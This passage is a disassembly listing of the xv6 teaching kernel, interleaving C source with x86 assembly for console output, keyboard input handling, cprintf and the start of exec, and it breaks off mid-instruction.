if((pos/80) >= 24){ // Scroll up. 8010046b: 81 ff 7f 07 00 00 cmp $0x77f,%edi 80100471: 7f 68 jg 801004db <consputc+0xfb> 80100473: 89 f8 mov %edi,%eax 80100475: 89 fb mov %edi,%ebx 80100477: c1 e8 08 shr $0x8,%eax 8010047a: 89 c6 mov %eax,%esi 8010047c: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100483: bf d4 03 00 00 mov $0x3d4,%edi 80100488: b8 0e 00 00 00 mov $0xe,%eax 8010048d: 89 fa mov %edi,%edx 8010048f: ee out %al,(%dx) 80100490: 89 f0 mov %esi,%eax 80100492: b2 d5 mov $0xd5,%dl 80100494: ee out %al,(%dx) 80100495: b8 0f 00 00 00 mov $0xf,%eax 8010049a: 89 fa mov %edi,%edx 8010049c: ee out %al,(%dx) 8010049d: 89 d8 mov %ebx,%eax 8010049f: b2 d5 mov $0xd5,%dl 801004a1: ee out %al,(%dx) crt[pos] = ' ' | 0x0700; 801004a2: b8 20 07 00 00 mov $0x720,%eax 801004a7: 66 89 01 mov %ax,(%ecx) } 801004aa: 83 c4 1c add $0x1c,%esp 801004ad: 5b pop %ebx 801004ae: 5e pop %esi 801004af: 5f pop %edi 801004b0: 5d pop %ebp 801004b1: c3 ret uartputc('\b'); uartputc(' '); uartputc('\b'); 801004b2: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004b9: e8 22 53 00 00 call 801057e0 <uartputc> 801004be: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004c5: e8 16 53 00 00 call 801057e0 <uartputc> 801004ca: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004d1: e8 0a 53 00 00 call 801057e0 <uartputc> 801004d6: e9 33 ff ff ff jmp 8010040e <consputc+0x2e> memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004db: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp) 801004e2: 00 pos -= 80; 801004e3: 8d 5f b0 lea -0x50(%edi),%ebx memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004e6: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp) 801004ed: 80 memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 801004ee: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004f5: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp) 801004fc: e8 2f 3e 00 00 call 80104330 <memmove> memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100501: b8 d0 07 00 00 mov $0x7d0,%eax 80100506: 29 f8 sub %edi,%eax 80100508: 01 c0 add %eax,%eax 8010050a: 89 34 24 mov %esi,(%esp) 8010050d: 89 44 24 08 mov %eax,0x8(%esp) 80100511: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100518: 00 80100519: e8 72 3d 00 00 call 80104290 <memset> 8010051e: 89 f1 mov %esi,%ecx 80100520: be 07 00 00 00 mov $0x7,%esi 80100525: e9 59 ff ff ff jmp 80100483 <consputc+0xa3> panic("pos under/overflow"); 8010052a: c7 04 24 e5 6e 10 80 movl $0x80106ee5,(%esp) 80100531: e8 2a fe ff ff call 80100360 <panic> if(pos > 0) --pos; 80100536: 85 c9 test %ecx,%ecx 80100538: 8d 79 ff lea -0x1(%ecx),%edi 8010053b: 0f 85 1e ff ff ff jne 8010045f <consputc+0x7f> 80100541: b9 00 80 0b 80 mov $0x800b8000,%ecx 80100546: 31 db xor %ebx,%ebx 80100548: 31 f6 xor %esi,%esi 8010054a: e9 34 ff ff ff jmp 80100483 <consputc+0xa3> pos += 80 - pos%80; 8010054f: 89 c8 mov %ecx,%eax 80100551: ba 67 66 66 66 mov $0x66666667,%edx 80100556: f7 ea imul %edx 80100558: c1 ea 05 shr $0x5,%edx 8010055b: 8d 04 92 lea (%edx,%edx,4),%eax 8010055e: c1 e0 04 shl $0x4,%eax 80100561: 8d 78 50 lea 0x50(%eax),%edi 80100564: e9 f6 fe ff ff jmp 8010045f <consputc+0x7f> 80100569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100570 <printint>: { 80100570: 55 push %ebp 80100571: 89 e5 mov %esp,%ebp 80100573: 57 push %edi 80100574: 56 push %esi 80100575: 89 d6 mov %edx,%esi 80100577: 53 push %ebx 80100578: 83 ec 1c sub $0x1c,%esp if(sign && (sign = xx < 0)) 8010057b: 85 c9 test %ecx,%ecx 8010057d: 74 61 je 801005e0 <printint+0x70> 8010057f: 85 c0 test %eax,%eax 80100581: 79 5d jns 801005e0 <printint+0x70> x = -xx; 80100583: f7 d8 neg %eax 80100585: bf 01 00 00 00 mov $0x1,%edi i = 0; 8010058a: 31 c9 xor %ecx,%ecx 8010058c: eb 04 jmp 80100592 <printint+0x22> 8010058e: 66 90 xchg %ax,%ax buf[i++] = digits[x % base]; 80100590: 89 d9 mov %ebx,%ecx 80100592: 31 d2 xor %edx,%edx 80100594: f7 f6 div %esi 80100596: 8d 59 01 lea 0x1(%ecx),%ebx 80100599: 0f b6 92 10 6f 10 80 movzbl -0x7fef90f0(%edx),%edx }while((x /= base) != 0); 801005a0: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 801005a2: 88 54 1d d7 mov %dl,-0x29(%ebp,%ebx,1) }while((x /= base) != 0); 801005a6: 75 e8 jne 80100590 <printint+0x20> if(sign) 801005a8: 85 ff test %edi,%edi buf[i++] = digits[x % base]; 801005aa: 89 d8 mov %ebx,%eax if(sign) 801005ac: 74 08 je 801005b6 <printint+0x46> buf[i++] = '-'; 801005ae: 8d 59 02 lea 0x2(%ecx),%ebx 801005b1: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 801005b6: 83 eb 01 sub $0x1,%ebx 801005b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi consputc(buf[i]); 801005c0: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax while(--i >= 0) 801005c5: 83 eb 01 sub $0x1,%ebx consputc(buf[i]); 801005c8: e8 13 fe ff ff call 801003e0 <consputc> while(--i >= 0) 801005cd: 83 fb ff cmp $0xffffffff,%ebx 801005d0: 75 ee jne 801005c0 <printint+0x50> } 801005d2: 83 c4 1c add $0x1c,%esp 801005d5: 5b pop %ebx 801005d6: 5e pop %esi 801005d7: 5f pop %edi 801005d8: 5d pop %ebp 801005d9: c3 ret 801005da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi x = xx; 801005e0: 31 ff xor %edi,%edi 801005e2: eb a6 jmp 8010058a <printint+0x1a> 801005e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801005f0 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 801005f0: 55 push %ebp 801005f1: 89 e5 mov %esp,%ebp 801005f3: 57 push %edi 801005f4: 56 push %esi 801005f5: 53 push %ebx 801005f6: 83 ec 1c sub $0x1c,%esp int i; iunlock(ip); 801005f9: 8b 45 08 mov 0x8(%ebp),%eax { 801005fc: 8b 75 10 mov 0x10(%ebp),%esi iunlock(ip); 801005ff: 89 04 24 mov %eax,(%esp) 80100602: e8 99 11 00 00 call 801017a0 <iunlock> acquire(&cons.lock); 80100607: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010060e: e8 3d 3b 00 00 call 80104150 <acquire> 80100613: 8b 7d 0c mov 0xc(%ebp),%edi for(i = 0; i < n; i++) 80100616: 85 f6 test %esi,%esi 80100618: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010061b: 7e 12 jle 8010062f <consolewrite+0x3f> 8010061d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100620: 0f b6 07 movzbl (%edi),%eax 80100623: 83 c7 01 add $0x1,%edi 80100626: e8 b5 fd ff ff call 801003e0 <consputc> for(i = 0; i < n; i++) 8010062b: 39 df cmp %ebx,%edi 8010062d: 75 f1 jne 80100620 <consolewrite+0x30> release(&cons.lock); 8010062f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100636: e8 05 3c 00 00 call 80104240 <release> ilock(ip); 8010063b: 8b 45 08 mov 0x8(%ebp),%eax 8010063e: 89 04 24 mov %eax,(%esp) 80100641: e8 7a 10 00 00 call 801016c0 <ilock> return n; } 80100646: 83 c4 1c add $0x1c,%esp 80100649: 89 f0 mov %esi,%eax 8010064b: 5b pop %ebx 8010064c: 5e pop %esi 8010064d: 5f pop %edi 8010064e: 5d pop %ebp 8010064f: c3 ret 80100650 <cprintf>: { 80100650: 55 push %ebp 80100651: 89 e5 mov %esp,%ebp 80100653: 57 push %edi 80100654: 56 push %esi 80100655: 53 push %ebx 80100656: 83 ec 1c sub $0x1c,%esp locking = cons.locking; 80100659: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010065e: 85 c0 test %eax,%eax locking = cons.locking; 80100660: 89 45 e0 mov %eax,-0x20(%ebp) if(locking) 80100663: 0f 85 27 01 00 00 jne 80100790 <cprintf+0x140> if (fmt == 0) 80100669: 8b 45 08 mov 0x8(%ebp),%eax 8010066c: 85 c0 test %eax,%eax 8010066e: 89 c1 mov %eax,%ecx 80100670: 0f 84 2b 01 00 00 je 801007a1 <cprintf+0x151> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100676: 0f b6 00 movzbl (%eax),%eax 80100679: 31 db xor %ebx,%ebx 8010067b: 89 cf mov %ecx,%edi 8010067d: 8d 75 0c lea 0xc(%ebp),%esi 80100680: 85 c0 test %eax,%eax 80100682: 75 4c jne 801006d0 <cprintf+0x80> 80100684: eb 5f jmp 801006e5 <cprintf+0x95> 80100686: 66 90 xchg %ax,%ax c = fmt[++i] & 0xff; 80100688: 83 c3 01 add $0x1,%ebx 8010068b: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx if(c == 0) 8010068f: 85 d2 test %edx,%edx 80100691: 74 52 je 801006e5 <cprintf+0x95> switch(c){ 80100693: 83 fa 70 cmp $0x70,%edx 80100696: 74 72 je 8010070a <cprintf+0xba> 80100698: 7f 66 jg 80100700 <cprintf+0xb0> 8010069a: 83 fa 25 cmp $0x25,%edx 8010069d: 8d 76 00 lea 0x0(%esi),%esi 801006a0: 0f 84 a2 00 00 00 je 80100748 <cprintf+0xf8> 801006a6: 83 fa 64 cmp $0x64,%edx 801006a9: 75 7d jne 80100728 <cprintf+0xd8> printint(*argp++, 10, 1); 801006ab: 8d 46 04 lea 0x4(%esi),%eax 801006ae: b9 01 00 00 00 mov $0x1,%ecx 801006b3: 89 45 e4 mov %eax,-0x1c(%ebp) 801006b6: 8b 06 mov (%esi),%eax 801006b8: ba 0a 00 00 00 mov $0xa,%edx 801006bd: e8 ae fe ff ff call 80100570 <printint> 801006c2: 8b 75 e4 mov -0x1c(%ebp),%esi for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006c5: 83 c3 01 add $0x1,%ebx 801006c8: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006cc: 85 c0 test %eax,%eax 801006ce: 74 15 je 801006e5 <cprintf+0x95> if(c != '%'){ 801006d0: 83 f8 25 cmp $0x25,%eax 801006d3: 74 b3 je 80100688 <cprintf+0x38> consputc(c); 801006d5: e8 06 fd ff ff call 801003e0 <consputc> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006da: 83 c3 01 add $0x1,%ebx 801006dd: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006e1: 85 c0 test %eax,%eax 801006e3: 75 eb jne 801006d0 <cprintf+0x80> if(locking) 801006e5: 8b 45 e0 mov -0x20(%ebp),%eax 801006e8: 85 c0 test %eax,%eax 801006ea: 74 0c je 801006f8 <cprintf+0xa8> release(&cons.lock); 801006ec: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801006f3: e8 48 3b 00 00 call 80104240 <release> } 801006f8: 83 c4 1c add $0x1c,%esp 801006fb: 5b pop %ebx 801006fc: 5e pop %esi 801006fd: 5f pop %edi 801006fe: 5d pop %ebp 801006ff: c3 ret switch(c){ 80100700: 83 fa 73 cmp $0x73,%edx 80100703: 74 53 je 80100758 <cprintf+0x108> 80100705: 83 fa 78 cmp $0x78,%edx 80100708: 75 1e jne 80100728 <cprintf+0xd8> printint(*argp++, 16, 0); 8010070a: 8d 46 04 lea 0x4(%esi),%eax 8010070d: 31 c9 xor %ecx,%ecx 8010070f: 89 45 e4 mov %eax,-0x1c(%ebp) 80100712: 8b 06 mov (%esi),%eax 80100714: ba 10 00 00 00 mov $0x10,%edx 80100719: e8 52 fe ff ff call 80100570 <printint> 8010071e: 8b 75 e4 mov -0x1c(%ebp),%esi break; 80100721: eb a2 jmp 801006c5 <cprintf+0x75> 80100723: 90 nop 80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100728: b8 25 00 00 00 mov $0x25,%eax 8010072d: 89 55 e4 mov %edx,-0x1c(%ebp) 80100730: e8 ab fc ff ff call 801003e0 <consputc> consputc(c); 80100735: 8b 55 e4 mov -0x1c(%ebp),%edx 80100738: 89 d0 mov %edx,%eax 8010073a: e8 a1 fc ff ff call 801003e0 <consputc> 8010073f: eb 99 jmp 801006da <cprintf+0x8a> 80100741: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100748: b8 25 00 00 00 mov $0x25,%eax 8010074d: e8 8e fc ff ff call 801003e0 <consputc> break; 80100752: e9 6e ff ff ff jmp 801006c5 <cprintf+0x75> 80100757: 90 nop if((s = (char*)*argp++) == 0) 80100758: 8d 46 04 lea 0x4(%esi),%eax 8010075b: 8b 36 mov (%esi),%esi 8010075d: 89 45 e4 mov %eax,-0x1c(%ebp) s = "(null)"; 80100760: b8 f8 6e 10 80 mov $0x80106ef8,%eax 80100765: 85 f6 test %esi,%esi 80100767: 0f 44 f0 cmove %eax,%esi for(; *s; s++) 8010076a: 0f be 06 movsbl (%esi),%eax 8010076d: 84 c0 test %al,%al 8010076f: 74 16 je 80100787 <cprintf+0x137> 80100771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100778: 83 c6 01 add $0x1,%esi consputc(*s); 8010077b: e8 60 fc ff ff call 801003e0 <consputc> for(; *s; s++) 80100780: 0f be 06 movsbl (%esi),%eax 80100783: 84 c0 test %al,%al 80100785: 75 f1 jne 80100778 <cprintf+0x128> if((s = (char*)*argp++) == 0) 80100787: 8b 75 e4 mov -0x1c(%ebp),%esi 8010078a: e9 36 ff ff ff jmp 801006c5 <cprintf+0x75> 8010078f: 90 nop acquire(&cons.lock); 80100790: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100797: e8 b4 39 00 00 call 80104150 <acquire> 8010079c: e9 c8 fe ff ff jmp 80100669 <cprintf+0x19> panic("null fmt"); 801007a1: c7 04 24 ff 6e 10 80 movl $0x80106eff,(%esp) 801007a8: e8 b3 fb ff ff call 80100360 <panic> 801007ad: 8d 76 00 lea 0x0(%esi),%esi 801007b0 <consoleintr>: { 801007b0: 55 push %ebp 801007b1: 89 e5 mov %esp,%ebp 801007b3: 57 push %edi 801007b4: 56 push %esi int c, doprocdump = 0; 801007b5: 31 f6 xor %esi,%esi { 801007b7: 53 push %ebx 801007b8: 83 ec 1c sub $0x1c,%esp 801007bb: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&cons.lock); 801007be: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801007c5: e8 86 39 00 00 call 80104150 <acquire> 801007ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while((c = getc()) >= 0){ 801007d0: ff d3 call *%ebx 801007d2: 85 c0 test %eax,%eax 801007d4: 89 c7 mov %eax,%edi 801007d6: 78 48 js 80100820 <consoleintr+0x70> switch(c){ 801007d8: 83 ff 10 cmp $0x10,%edi 801007db: 0f 84 2f 01 00 00 je 80100910 <consoleintr+0x160> 801007e1: 7e 5d jle 80100840 <consoleintr+0x90> 801007e3: 83 ff 15 cmp $0x15,%edi 801007e6: 0f 84 d4 00 00 00 je 801008c0 <consoleintr+0x110> 801007ec: 83 ff 7f cmp $0x7f,%edi 801007ef: 90 nop 801007f0: 75 53 jne 80100845 <consoleintr+0x95> if(input.e != input.w){ 801007f2: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801007f7: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801007fd: 74 d1 je 801007d0 <consoleintr+0x20> input.e--; 801007ff: 83 e8 01 sub $0x1,%eax 80100802: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100807: b8 00 01 00 00 mov $0x100,%eax 8010080c: e8 cf fb ff ff call 801003e0 <consputc> while((c = getc()) >= 0){ 80100811: ff d3 call *%ebx 80100813: 85 c0 test %eax,%eax 80100815: 89 c7 mov %eax,%edi 80100817: 79 bf jns 801007d8 <consoleintr+0x28> 80100819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100820: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100827: e8 14 3a 00 00 call 80104240 <release> if(doprocdump) { 8010082c: 85 f6 test %esi,%esi 8010082e: 0f 85 ec 00 00 00 jne 80100920 <consoleintr+0x170> } 80100834: 83 c4 1c add $0x1c,%esp 80100837: 5b pop %ebx 80100838: 5e pop %esi 80100839: 5f pop %edi 8010083a: 5d pop %ebp 8010083b: c3 ret 8010083c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi switch(c){ 80100840: 83 ff 08 cmp $0x8,%edi 80100843: 74 ad je 801007f2 <consoleintr+0x42> if(c != 0 && input.e-input.r < INPUT_BUF){ 80100845: 85 ff test %edi,%edi 80100847: 74 87 je 801007d0 <consoleintr+0x20> 80100849: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010084e: 89 c2 mov %eax,%edx 80100850: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx 80100856: 83 fa 7f cmp $0x7f,%edx 80100859: 0f 87 71 ff ff ff ja 801007d0 <consoleintr+0x20> input.buf[input.e++ % INPUT_BUF] = c; 8010085f: 8d 50 01 lea 0x1(%eax),%edx 80100862: 83 e0 7f and $0x7f,%eax c = (c == '\r') ? '\n' : c; 80100865: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 80100868: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8 c = (c == '\r') ? '\n' : c; 8010086e: 0f 84 b8 00 00 00 je 8010092c <consoleintr+0x17c> input.buf[input.e++ % INPUT_BUF] = c; 80100874: 89 f9 mov %edi,%ecx 80100876: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax) consputc(c); 8010087c: 89 f8 mov %edi,%eax 8010087e: e8 5d fb ff ff call 801003e0 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 80100883: 83 ff 04 cmp $0x4,%edi 80100886: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010088b: 74 19 je 801008a6 <consoleintr+0xf6> 8010088d: 83 ff 0a cmp $0xa,%edi 80100890: 74 14 je 801008a6 <consoleintr+0xf6> 80100892: 8b 0d a0 ff 10 80 mov 0x8010ffa0,%ecx 80100898: 8d 91 80 00 00 00 lea 0x80(%ecx),%edx 8010089e: 39 d0 cmp %edx,%eax 801008a0: 0f 85 2a ff ff ff jne 801007d0 <consoleintr+0x20> wakeup(&input.r); 801008a6: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) input.w = input.e; 801008ad: a3 a4 ff 10 80 mov %eax,0x8010ffa4 wakeup(&input.r); 801008b2: e8 e9 34 00 00 call 80103da0 <wakeup> 801008b7: e9 14 ff ff ff jmp 801007d0 <consoleintr+0x20> 801008bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(input.e != input.w && 801008c0: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008c5: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008cb: 75 2b jne 801008f8 <consoleintr+0x148> 801008cd: e9 fe fe ff ff jmp 801007d0 <consoleintr+0x20> 801008d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.e--; 801008d8: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 801008dd: b8 00 01 00 00 mov $0x100,%eax 801008e2: e8 f9 fa ff ff call 801003e0 <consputc> while(input.e != input.w && 801008e7: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008ec: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008f2: 0f 84 d8 fe ff ff je 801007d0 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 801008f8: 83 e8 01 sub $0x1,%eax 801008fb: 89 c2 mov %eax,%edx 801008fd: 83 e2 7f and $0x7f,%edx while(input.e != input.w && 80100900: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx) 80100907: 75 cf jne 801008d8 <consoleintr+0x128> 80100909: e9 c2 fe ff ff jmp 801007d0 <consoleintr+0x20> 8010090e: 66 90 xchg %ax,%ax doprocdump = 1; 80100910: be 01 00 00 00 mov $0x1,%esi 80100915: e9 b6 fe ff ff jmp 801007d0 <consoleintr+0x20> 8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } 80100920: 83 c4 1c add $0x1c,%esp 80100923: 5b pop %ebx 80100924: 5e pop %esi 80100925: 5f pop %edi 80100926: 5d pop %ebp procdump(); // now call procdump() wo. cons.lock held 80100927: e9 54 35 00 00 jmp 80103e80 <procdump> input.buf[input.e++ % INPUT_BUF] = c; 8010092c: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax) consputc(c); 80100933: b8 0a 00 00 00 mov $0xa,%eax 80100938: e8 a3 fa ff ff call 801003e0 <consputc> 8010093d: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100942: e9 5f ff ff ff jmp 801008a6 <consoleintr+0xf6> 80100947: 89 f6 mov %esi,%esi 80100949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100950 <consoleinit>: void consoleinit(void) { 80100950: 55 push %ebp 80100951: 89 e5 mov %esp,%ebp 80100953: 83 ec 18 sub $0x18,%esp initlock(&cons.lock, "console"); 80100956: c7 44 24 04 08 6f 10 movl $0x80106f08,0x4(%esp) 8010095d: 80 8010095e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100965: e8 f6 36 00 00 call 80104060 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 8010096a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100971: 00 80100972: c7 04 24 01 00 00 00 movl $0x1,(%esp) devsw[CONSOLE].write = consolewrite; 80100979: c7 05 6c 09 11 80 f0 movl $0x801005f0,0x8011096c 80100980: 05 10 80 devsw[CONSOLE].read = consoleread; 80100983: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968 8010098a: 02 10 80 cons.locking = 1; 8010098d: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 80100994: 00 00 00 ioapicenable(IRQ_KBD, 0); 80100997: e8 24 19 00 00 call 801022c0 <ioapicenable> } 8010099c: c9 leave 8010099d: c3 ret 8010099e: 66 90 xchg %ax,%ax 801009a0 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 801009a0: 55 push %ebp 801009a1: 89 e5 mov %esp,%ebp 801009a3: 57 push %edi 801009a4: 56 push %esi 801009a5: 53 push %ebx 801009a6: 81 ec 2c 01 00 00 sub $0x12c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 801009ac: e8 ff 2c 00 00 call 801036b0 <myproc> 801009b1: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 801009b7: e8 64 21 00 00 call 80102b20 <begin_op> if((ip = namei(path)) == 0){ 801009bc: 8b 45 08 mov 0x8(%ebp),%eax 801009bf: 89 04 24 mov %eax,(%esp) 801009c2: e8 49 15 00 00 call 80101f10 <namei> 801009c7: 85 c0 test %eax,%eax 801009c9: 89 c3 mov %eax,%ebx 801009cb: 0f 84 c2 01 00 00 je 80100b93 <exec+0x1f3> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 801009d1: 89 04 24 mov %eax,(%esp) 801009d4: e8 e7 0c 00 00 call 801016c0 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 801009d9: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 801009df: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp) 801009e6: 00 801009e7: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 801009ee: 00 801009ef: 89 44 24 04 mov %eax,0x4(%esp) 801009f3: 89 1c 24 mov %ebx,(%esp) 801009f6: e8 75 0f 00 00 call 80101970 <readi> 801009fb: 83 f8 34 cmp $0x34,%eax 801009fe: 74 20 je 80100a20 <exec+0x80> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a00: 89 1c 24 mov %ebx,(%esp) 80100a03: e8 18 0f 00 00 call 80101920 <iunlockput> end_op(); 80100a08: e8 83 21 00 00 call 80102b90 <end_op> } return -1; 80100a0d: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a12: 81 c4 2c 01 00 00 add $0x12c,%esp 80100a18: 5b pop %ebx 80100a19: 5e pop %esi 80100a1a: 5f pop %edi 80100a1b: 5d pop %ebp 80100a1c: c3 ret 80100a1d: 8d 76 00 lea 0x0(%esi),%esi if(elf.magic != ELF_MAGIC) 80100a20: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a27: 45 4c 46 80100a2a: 75 d4 jne 80100a00 <exec+0x60> if((pgdir = setupkvm()) == 0) 80100a2c: e8 bf 5f 00 00 call 801069f0 <setupkvm> 80100a31: 85 c0 test %eax,%eax 80100a33: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100a39: 74 c5 je 80100a00 <exec+0x60> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a3b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100a42: 00 80100a43: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi sz = 0; 80100a49: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp) 80100a50: 00 00 00 for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a53: 0f 84 da 00 00 00 je 80100b33 <exec+0x193> 80100a59: 31 ff xor %edi,%edi 80100a5b: eb 18 jmp 80100a75 <exec+0xd5> 80100a5d: 8d 76 00 lea 0x0(%esi),%esi 80100a60: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100a67: 83 c7 01 add $0x1,%edi 80100a6a: 83 c6 20 add $0x20,%esi 80100a6d: 39 f8 cmp %edi,%eax 80100a6f: 0f 8e be 00 00 00 jle 80100b33 <exec+0x193> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100a75: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100a7b: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp) 80100a82: 00 80100a83: 89 74 24 08 mov %esi,0x8(%esp) 80100a87: 89 44 24 04 mov %eax,0x4(%esp) 80100a8b: 89 1c 24 mov %ebx,(%esp) 80100a8e: e8 dd 0e 00 00 call 80101970 <readi> 80100a93: 83 f8 20 cmp $0x20,%eax 80100a96: 0f 85 84 00 00 00 jne 80100b20 <exec+0x180> if(ph.type != ELF_PROG_LOAD) 80100a9c: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100aa3: 75 bb jne 80100a60 <exec+0xc0> if(ph.memsz < ph.filesz) 80100aa5: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100aab: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100ab1: 72 6d jb 80100b20 <exec+0x180> if(ph.vaddr + ph.memsz < ph.vaddr) 80100ab3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100ab9: 72 65 jb 80100b20 <exec+0x180> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100abb: 89 44 24 08 mov %eax,0x8(%esp) 80100abf: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 80100ac5: 89 44 24 04 mov %eax,0x4(%esp) 80100ac9: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100acf: 89 04 24 mov %eax,(%esp) 80100ad2: e8 79 5d 00 00 call 80106850 <allocuvm> 80100ad7: 85 c0 test %eax,%eax 80100ad9: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100adf: 74 3f je 80100b20 <exec+0x180> if(ph.vaddr % PGSIZE != 0) 80100ae1: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100ae7: a9 ff 0f 00 00 test $0xfff,%eax 80100aec: 75 32 jne 80100b20 <exec+0x180> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100aee: 8b 95 14 ff ff ff mov -0xec(%ebp),%edx 80100af4: 89 44 24 04 mov %eax,0x4(%esp) 80100af8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100afe: 89 5c 24 08 mov %ebx,0x8(%esp) 80100b02: 89 54 24 